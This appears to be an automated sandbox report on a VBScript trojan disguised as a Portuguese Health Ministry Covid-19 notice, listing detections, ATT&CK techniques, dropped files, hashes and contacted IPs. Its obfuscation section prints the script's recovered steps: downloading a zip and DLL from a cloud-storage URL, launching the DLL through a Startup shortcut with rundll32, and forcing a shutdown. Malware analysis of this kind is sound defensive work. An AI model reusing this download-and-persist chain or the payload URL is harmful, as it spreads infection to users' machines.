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Analysis Report Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs

Overview

General Information

Sample Name:	Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs
Analysis ID:	351167
MD5:	bef99a24632c89aa1676f0c5e5bfb11b
SHA1:	335c3b6151df7e3e31b603bd55d24c0de56a8d5a
SHA256:	64f6d8c5d529aa3ab6626a3b9be57c4b9e0c2130ec3358c12d53e3453a83a76c
Tags:	lampiontrojanportugal
Most interesting Screenshot:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Benign windows process drops PE files

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Detected VMProtect packer

Potential evasive VBS script found (sleep loop)

Potential malicious VBS script found (has network functionality)

Windows Shell Script Host drops VBS files

Abnormal high CPU Usage

Contains capabilities to detect virtual machines

Creates a start menu entry (Start Menu\Programs\Startup)

Drops PE files

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains more sections than normal

PE file contains sections with non-standard names

Stores files to the Windows start menu directory

Classification

Startup

System is w10x64

wscript.exe (PID: 5840 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-2-19[1].dll

Avira: detection malicious, Label: HEUR/AGEN.1118892

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-2-19[1].dll

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Show sources

Source: Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs	Virustotal: Detection: 30%			Perma Link
Source: Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs	ReversingLabs: Detection: 17%

Networking:

Potential malicious VBS script found (has network functionality)

Show sources

Source:	Initial file: .write UWZGHTNQST.responseBody
Source:	Initial file: .savetofile FVWUJVVSEL, 2
Source:	Initial file: .write IQSDEMNRXA.responseBody
Source:	Initial file: .savetofile DHONGHAMSC, 2

Source: Joe Sandbox View	IP Address: 8.8.8.8 8.8.8.8
Source: Joe Sandbox View	IP Address: 8.8.8.8 8.8.8.8

Source: Joe Sandbox View

ASN Name: GOOGLEUS GOOGLEUS

Source: wscript.exe	String found in binary or memory: https://storage.googleapis.com/mystorage2021/0.zip
Source: wscript.exe	String found in binary or memory: https://storage.googleapis.com/mystorage2021/P-2-19.dll

System Summary:

Detected VMProtect packer

Show sources

Source: P-2-19[1].dll.0.dr

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Windows\System32\wscript.exe

Process Stats: CPU usage > 98%

Source: Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs

Initial sample: Strings found which are bigger than 50

Source: P-2-19[1].dll.0.dr

Static PE information: Number of sections : 13 > 10

Source: classification engine

Classification label: mal100.evad.winVBS@1/5@0/2

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\jbnusslocvu.vbs

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs'

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs	Virustotal: Detection: 30%
Source: Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs	ReversingLabs: Detection: 17%

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Data Obfuscation:

VBScript performs obfuscated calls to suspicious functions

Show sources

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell")WScript.Sleep(300000)Set OpSysSet = GetObject("winmgmts:{authenticationlevel=Pkt," _& "(Shutdown)}").ExecQuery("select * from Win32_OperatingSystem where "_& "Primary=true")for each OpSys in OpSysSetretVal = OpSys.Win32Shutdown(6)nextIHost.CreateObject("Wscript.Shell");IWshShell3.SpecialFolders("AppData");IFileSystem3.CreateTextFile("C:\Users\user\AppData\Roaming\jbnusslocvu.vbs", "true");ITextStream.Write("Set MTTDJRICBE = CreateObject("WScript.Shell")");ITextStream.Write("WScript.Sleep(300000)");ITextStream.Write("Set OpSysSet = GetObject("winmgmts:{authenticationlevel=Pkt," _");ITextStream.Write("& "(Shutdown)}").ExecQuery("select * from Win32_OperatingSystem where "_");ITextStream.Write("& "Primary=true")");ITextStream.Write("for each OpSys in OpSysSet");ITextStream.Write("retVal = OpSys.Win32Shutdown(6)");ITextStream.Write("next");ITextStream.Close();IWshShell3.SpecialFolders("StartUp");IFileSystem3.DeleteFile("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk", "true");IWshShell3.SpecialFolders("StartUp");IFileSystem3.DeleteFile("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.vbs", "true");IWshShell3.SpecialFolders("AppData");IFileSystem3.CreateFolder("C:\Users\user\AppData\Roaming\38695955395697");IWshShell3.SpecialFolders("AppData");IWshShell3.SpecialFolders("AppData");IServerXMLHTTPRequest2.open("GET", "https://storage.googleapis.com/mystorage2021/0.zip", "false");IServerXMLHTTPRequest2.send();_Stream.Type("1");_Stream.Open();IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Roaming\0.zip", "2");IServerXMLHTTPRequest2.open("GET", "https://storage.googleapis.com/mystorage2021/P-2-19.dll", "false");IServerXMLHTTPRequest2.send();_Stream.Type("1");_Stream.Open();IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Roaming\38695955395697\krdxnsceqxwvyknup17065344631671.dll", "2");IHost.CreateObject("Wscript.Shell");IWshShell3.SpecialFolders("StartUp");IHost.CreateObject("WScript.Shell");IWshShell3.CreateShortcut("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vffqkikpdt .lnk");IWshShortcut.TargetPath("rundll32");IWshShortcut.Arguments(" C:\Users\user\AppData\Roaming\38695955395697\krdxnsceqxwvyknup17065344631671.dll J7xmDcvOVJMXsSwGkQO");IWshShortcut.WindowStyle("1");IWshShortcut.WorkingDirectory("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vffqkikpdt");IWshShortcut.Save();IFileSystem3.OpenTextFile("C:\Users\user\AppData\Roaming\jbnusslocvu.vbs");ITextStream.ReadAll();ITextStream.Close();IHost.Sleep("300000");ISWbemServicesEx.ExecQuery("select * from Win32_OperatingSystem where Primary=true");ISWbemObjectSet._NewEnum();ISWbemObjectEx._01000001("6")

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: P-2-19[1].dll.0.dr	Static PE information: section name: .didata
Source: P-2-19[1].dll.0.dr	Static PE information: section name: .vmp0
Source: P-2-19[1].dll.0.dr	Static PE information: section name: .vmp1

Persistence and Installation Behavior:

Windows Shell Script Host drops VBS files

Show sources

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\jbnusslocvu.vbs

Jump to behavior

Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-2-19[1].dll			Jump to dropped file
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\38695955395697\krdxnsceqxwvyknup17065344631671.dll			Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vffqkikpdt .lnk

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vffqkikpdt .lnk

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Potential evasive VBS script found (sleep loop)

Show sources

Source: Initial file	Initial file: GZTGQBVSUV.Write "WScript.Sleep(300000)" & vbCrLf
Source: C:\Windows\System32\wscript.exe	Dropped file: WScript.Sleep(300000)			Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\wscript.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-2-19[1].dll			Jump to dropped file
Source: C:\Windows\System32\wscript.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\38695955395697\krdxnsceqxwvyknup17065344631671.dll			Jump to dropped file

HIPS / PFW / Operating System Protection Evasion:

Benign windows process drops PE files

Show sources

Source: C:\Windows\System32\wscript.exe

File created: P-2-19[1].dll.0.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\System32\wscript.exe

Network Connect: 172.217.168.48 187

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting421	Startup Items1	Startup Items1	Masquerading1	OS Credential Dumping	Query Registry1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution1	Registry Run Keys / Startup Folder2	Process Injection1	Virtualization/Sandbox Evasion1	LSASS Memory	Security Software Discovery11	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	PowerShell1	Logon Script (Windows)	Registry Run Keys / Startup Folder2	Process Injection1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting421	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs	31%	Virustotal		Browse
Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs	17%	ReversingLabs	Script-WScript.Downloader.SLoad

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-2-19[1].dll	100%	Avira	HEUR/AGEN.1118892
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-2-19[1].dll	21%	ReversingLabs	Win32.Malware.Bulz

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
8.8.8.8	unknown	United States		15169	GOOGLEUS	false
172.217.168.48	unknown	United States		15169	GOOGLEUS	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	351167
Start date:	10.02.2021
Start time:	11:45:40
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 18m 3s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.evad.winVBS@1/5@0/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .vbs
Warnings:	Show All Max analysis timeout: 720s exceeded, the analysis took too long Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, RuntimeBroker.exe, backgroundTaskHost.exe, UsoClient.exe, audiodg.exe, rundll32.exe, WMIADAP.exe, MusNotifyIcon.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Too many dropped files, some of them have not been restored

Simulations

Behavior and APIs

Time	Type	Description
11:47:56	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vffqkikpdt .lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
8.8.8.8	BadStuff.js	Get hash	malicious	Browse	8.8.8.8/SlvMWdIEW62C9c
	BadStuff.js	Get hash	malicious	Browse	8.8.8.8/CTM5wttwLFcLdHfVk
	33payment advice.exe	Get hash	malicious	Browse	www.zulinfang.mobi/fu/?id=i07vHMa0svfKfxE6I3aRHA3lctcdYaT9x0iZT9MH0oRhMFPgh9mSEtNU17XFCBgMQA4XWErQDlzTwB-AplygzQ..
	37documents.exe	Get hash	malicious	Browse	www.tasteofunexpected.com/tf/?id=y6IrbpvfhkYfQXXyqC8dooAvfrv2e2apV7igF70LYGyF4OCvwj5JxRVBdRghvKGGuc_KsFbnbWPC0Def
	63AWB 043255.exe	Get hash	malicious	Browse	www.serikatsaudagarnusantara.com/ed/?id=kIz4OnF7tHMqdv1cSepeHoY02Vsws5yCI7zf8DN1pvMb9hdHFpZX44eSyhzXC7u5icfl1yYYsvfyl6we
	d62c.exe	Get hash	malicious	Browse	www.epckednilm.info/fu/?id=i07vHMa0svfKfxE6I3aRHA3lctcdYaT9x0iZT9MH0oRhMFPgh9mSEtNU17XFCBgMQA4XWErQDlzTwB-AplygzQ..
	27TTcopyMT107-36000_payment.exe	Get hash	malicious	Browse	www.watchsummer.com/tr/?id=oqCXvgIUiCxPFtn1J0rb33q5mpSH48Vd1XRAfBxi4MgNDwsdTt0dcXb5dgzj2vPAuld1RDreAlRWWLP9Xot16w..&sql=1
	download_adobeflashplayer_install_9_.exe	Get hash	malicious	Browse	wetr34.sitesled.com/wind.jpg
	INV-000524.vbs	Get hash	malicious	Browse	naturofind.org/p66/JIKJHgft
	177Purchase Order.exe	Get hash	malicious	Browse	www.phutungototp.com/ho/?id=y3T6nEBciedL7htO4xn1ZYijVAw7sJXLjwubagvJUtMFVf7aOWPSa_Bl5i178f_EjROvybrSr7PC3267XbUsBg..
	8Order Inquiry.exe	Get hash	malicious	Browse	www.quyuar.com/dr/?id=gCqdDQsh4d7ynFKSj09V1Y12J91NTUfM9LddDKzxEGHO7R4ogEQ3AGAU2DRYiF_Nduo4Rd-EW24x-O38aOud_g..
	27Tobye.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	11Marena.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	39Harriot.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	1Vida.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	43Colleen.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	67Roxanne.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	15Winnah.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	33Elfrida.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	25Cornelle.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GOOGLEUS	QwLijaR9ex.exe	Get hash	malicious	Browse	216.239.32.21
	pfjgWtj6ms.exe	Get hash	malicious	Browse	34.98.99.30
	6Xk6d54hwM.exe	Get hash	malicious	Browse	34.102.136.180
	eYwQ9loD5Q.exe	Get hash	malicious	Browse	34.102.136.180
	SK8HSWos1p.rtf	Get hash	malicious	Browse	34.102.136.180
	MV SEIYO FORTUNE REF 27 - QUOTATION.xlsx	Get hash	malicious	Browse	34.102.136.180
	order_list_fe99087.xls	Get hash	malicious	Browse	216.239.32.21
	CaAmqz52Yk.exe	Get hash	malicious	Browse	216.239.38.21
	E68-STD-239-2020-239.xlsx	Get hash	malicious	Browse	34.98.99.30
	RFQ 117839 ASIA TRADING LLC.xlsx	Get hash	malicious	Browse	34.102.136.180
	Purchase Order _pdf.exe	Get hash	malicious	Browse	34.102.136.180
	Purchase Order _pdf.exe	Get hash	malicious	Browse	34.102.136.180
	50.docx	Get hash	malicious	Browse	216.239.36.21
	50.docx	Get hash	malicious	Browse	216.239.38.21
	DHL Parcel Details.xlsx	Get hash	malicious	Browse	34.102.136.180
	SCAN_PO210205.exe.exe	Get hash	malicious	Browse	34.102.136.180
	SKM_36721012514070-2.ppt	Get hash	malicious	Browse	172.217.22.193
	wEcncyxrEe	Get hash	malicious	Browse	34.80.65.54
	Y8LGFkFl01	Get hash	malicious	Browse	172.217.22.206
	Y8LGFkFl01	Get hash	malicious	Browse	172.217.20.227
GOOGLEUS	QwLijaR9ex.exe	Get hash	malicious	Browse	216.239.32.21
	pfjgWtj6ms.exe	Get hash	malicious	Browse	34.98.99.30
	6Xk6d54hwM.exe	Get hash	malicious	Browse	34.102.136.180
	eYwQ9loD5Q.exe	Get hash	malicious	Browse	34.102.136.180
	SK8HSWos1p.rtf	Get hash	malicious	Browse	34.102.136.180
	MV SEIYO FORTUNE REF 27 - QUOTATION.xlsx	Get hash	malicious	Browse	34.102.136.180
	order_list_fe99087.xls	Get hash	malicious	Browse	216.239.32.21
	CaAmqz52Yk.exe	Get hash	malicious	Browse	216.239.38.21
	E68-STD-239-2020-239.xlsx	Get hash	malicious	Browse	34.98.99.30
	RFQ 117839 ASIA TRADING LLC.xlsx	Get hash	malicious	Browse	34.102.136.180
	Purchase Order _pdf.exe	Get hash	malicious	Browse	34.102.136.180
	Purchase Order _pdf.exe	Get hash	malicious	Browse	34.102.136.180
	50.docx	Get hash	malicious	Browse	216.239.36.21
	50.docx	Get hash	malicious	Browse	216.239.38.21
	DHL Parcel Details.xlsx	Get hash	malicious	Browse	34.102.136.180
	SCAN_PO210205.exe.exe	Get hash	malicious	Browse	34.102.136.180
	SKM_36721012514070-2.ppt	Get hash	malicious	Browse	172.217.22.193
	wEcncyxrEe	Get hash	malicious	Browse	34.80.65.54
	Y8LGFkFl01	Get hash	malicious	Browse	172.217.22.206
	Y8LGFkFl01	Get hash	malicious	Browse	172.217.20.227

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-2-19[1].dll Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	218698752
Entropy (8bit):	7.826191352155413
Encrypted:	false
SSDEEP:	6291456:Xfaqv49+/8jJXe6lMhuS1qmHeGRv9pyOi6HX4Ks2VYQjafrB7tmbUz:Xfaqw4Oe6ywSES9QiX4K1krBxm
MD5:	73613FF2907A65372D31B63F54F0C8C0
SHA1:	6D1E1D74EA1577C0DC122A9BDF03B1D0CDC4D098
SHA-256:	03EA4C3751E266606857BA8AF7A345D3863B5CC097A8BC2FB02567A24C4BF9A7
SHA-512:	7C04A6306C57FCA15E50B073E082C78AADB9AD7EDB85D7FC290114D3BAEC7C7A2F0EF30A531C948AB0DB8BC0779CDA9F2A6EC99B211E2161A02C969E271F5133
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......_.................V&...........I......p&...@................................................................... ......II.@.....I..U....................I.............................\|-!. .....................3.......'.h....................text....>&......................... ..`.itext.......P&..................... ..`.data........p&.....................@....bss....tb...@'..........................idata...4....'.....................@....didata.h.....'.....................@....edata........(.....................@..@.rdata..E.....(.....................@..@.vmp0....L... (.....................`....tls.........p@.....................@....vmp1... .....@.....................`....reloc........I.....................@..@.rsrc....U....I.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\0[1].zip Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5604547
Entropy (8bit):	7.9999658588506986
Encrypted:	true
SSDEEP:	98304:d9S705s0m5QhjG5QpiuPreyiI8zRvE5hr1obzUh+AjLI9vekpRqr2n:DR5s0ma1tbrmI4agzw+Ajk9vezrK
MD5:	F6F9C197DE97000E33113089993889A8
SHA1:	9EF214E6077BAF24057AE37DC971C4D80DB983C4
SHA-256:	88643A7FC5653791841207C713EA290A1D0A0264B37A7D3B031815E52211BB09
SHA-512:	B9584A343544ADC8A4707DE198FE3FE83AE5C7C9B52C73743EACBEE2F867E4A716EBB89135B2E7E9C46506DD9EEF1A2B1BF0ECD8EDB1C1F5B4DD5F2C97DD3C5E
Malicious:	false
Reputation:	low
Preview:	PK..........8R..+..U...Y.'................<.)...............B\.o..J.~..8.4.z.H.."qF...(...&.....t[,^(^..5...#QJ.Kk..9.....P.....9..MQ...~.>.z..98.q......o.......y.gA.(w......>.l".p..1.Ts...h...w..%...<..0Q=..y._...O4x......1.z..i'Z0..{...>).Yla......"...c....d....$7L#w....8.p#Zz.h.M..F.c.r.+.p..:!.CC..L.....C.v.#..........^d/N.h.`...O...g.b0[T..Ou..l.S..Q..{..-^n....Jo.R....u............C?...E.P..x.R_.9C..\....pYy.{.w...Y...UL..z..M.J8...[W.>N../.=a.FP.N.K.,.?}...bs.....S,..^..%......O?+...9.d.....(A.-l.....8.[...0...x..=...5...&...^t..0 ...(...%.R$.....Xq..0.!..w..q....<...........'.....lSI.C.g.E..$.(D..8.K..L..S]f.s...X...tMy.`ei.....7;j.!i.=......#....].)...s.g7...f.......^..)....C..C8...~..P..\|.D..g%.j.G.~..L...{.y.3.T."B..M....`...zE.`.Yj........y...........E..Q...$./.E_.YV..bS...Q..j..i.4`.w..Q..7.Q.q\v..}.......<4.P.6#M.3.....J.C.?.[}..N..K.,.v.\|.....b....].W%.E......R.@..sh>S....w..#.3.Y.<.....]l.

C:\Users\user\AppData\Roaming\0.zip Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5604547
Entropy (8bit):	7.9999658588506986
Encrypted:	true
SSDEEP:	98304:d9S705s0m5QhjG5QpiuPreyiI8zRvE5hr1obzUh+AjLI9vekpRqr2n:DR5s0ma1tbrmI4agzw+Ajk9vezrK
MD5:	F6F9C197DE97000E33113089993889A8
SHA1:	9EF214E6077BAF24057AE37DC971C4D80DB983C4
SHA-256:	88643A7FC5653791841207C713EA290A1D0A0264B37A7D3B031815E52211BB09
SHA-512:	B9584A343544ADC8A4707DE198FE3FE83AE5C7C9B52C73743EACBEE2F867E4A716EBB89135B2E7E9C46506DD9EEF1A2B1BF0ECD8EDB1C1F5B4DD5F2C97DD3C5E
Malicious:	true
Reputation:	low
Preview:	PK..........8R..+..U...Y.'................<.)...............B\.o..J.~..8.4.z.H.."qF...(...&.....t[,^(^..5...#QJ.Kk..9.....P.....9..MQ...~.>.z..98.q......o.......y.gA.(w......>.l".p..1.Ts...h...w..%...<..0Q=..y._...O4x......1.z..i'Z0..{...>).Yla......"...c....d....$7L#w....8.p#Zz.h.M..F.c.r.+.p..:!.CC..L.....C.v.#..........^d/N.h.`...O...g.b0[T..Ou..l.S..Q..{..-^n....Jo.R....u............C?...E.P..x.R_.9C..\....pYy.{.w...Y...UL..z..M.J8...[W.>N../.=a.FP.N.K.,.?}...bs.....S,..^..%......O?+...9.d.....(A.-l.....8.[...0...x..=...5...&...^t..0 ...(...%.R$.....Xq..0.!..w..q....<...........'.....lSI.C.g.E..$.(D..8.K..L..S]f.s...X...tMy.`ei.....7;j.!i.=......#....].)...s.g7...f.......^..)....C..C8...~..P..\|.D..g%.j.G.~..L...{.y.3.T."B..M....`...zE.`.Yj........y...........E..Q...$./.E_.YV..bS...Q..j..i.4`.w..Q..7.Q.q\v..}.......<4.P.6#M.3.....J.C.?.[}..N..K.,.v.\|.....b....].W%.E......R.@..sh>S....w..#.3.Y.<.....]l.

C:\Users\user\AppData\Roaming\38695955395697\krdxnsceqxwvyknup17065344631671.dll Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	76611584
Entropy (8bit):	7.827756829056121
Encrypted:	false
SSDEEP:	1572864:oStQ6aSa5ZZWo440iMlAtGVF8vfjJXtORkH81MvmvXolFU/huUNTz71axVyZ9DHn:XtQ6a9Eo449MlSG/8njJXtO5e/lFWhug
MD5:	2337870D92D47375B4E9C6E94FD56098
SHA1:	7F49AB1AFC4262961E0F369061D982193614A599
SHA-256:	5BDA50B89E18DE37C6BF7E4B6D6F723D32E92BC9A3248351386C2A1694824AD1
SHA-512:	BC0931A4C4DB982B9A39089CBE9BD09508CFDDD33BDEFF3D9C180A9D095E10CD621914F78CB3B302E5711B06AC7E8BA174BEA009E624DAA114BEB96BD390C2E1
Malicious:	true
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......_.................V&...........I......p&...@................................................................... ......II.@.....I..U....................I.............................\|-!. .....................3.......'.h....................text....>&......................... ..`.itext.......P&..................... ..`.data........p&.....................@....bss....tb...@'..........................idata...4....'.....................@....didata.h.....'.....................@....edata........(.....................@..@.rdata..E.....(.....................@..@.vmp0....L... (.....................`....tls.........p@.....................@....vmp1... .....@.....................`....reloc........I.....................@..@.rsrc....U....I.

C:\Users\user\AppData\Roaming\jbnusslocvu.vbs Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296
Entropy (8bit):	5.248345507870898
Encrypted:	false
SSDEEP:	6:jwHnPqhNGXIkKnFkjqvAATbKZkXOyMz6gCggPsjJRXvexOvXKgIi8Ny:sHnChNGYkKnFPvAOKZy8MHsjJRvyOdB
MD5:	FFD5B69483FACBB5C2A9E4E57100AA2B
SHA1:	1388A7CB1D74670CD34A565DD6FE0803C5AF6D94
SHA-256:	361932AA4CAEA0CEE67D0810EEB8A2EDACE52E2219DCAD6E43E8EF64266C0D53
SHA-512:	CB8989D92B3265DCF5ADA91C7C94B04DE7AE7BBADE3A5A0D2AC0EF40CCA891413F606E56181A7CC9297320EC67C9CAC2027958686CE4F7FC668A3F471EA2F9CA
Malicious:	true
Reputation:	low
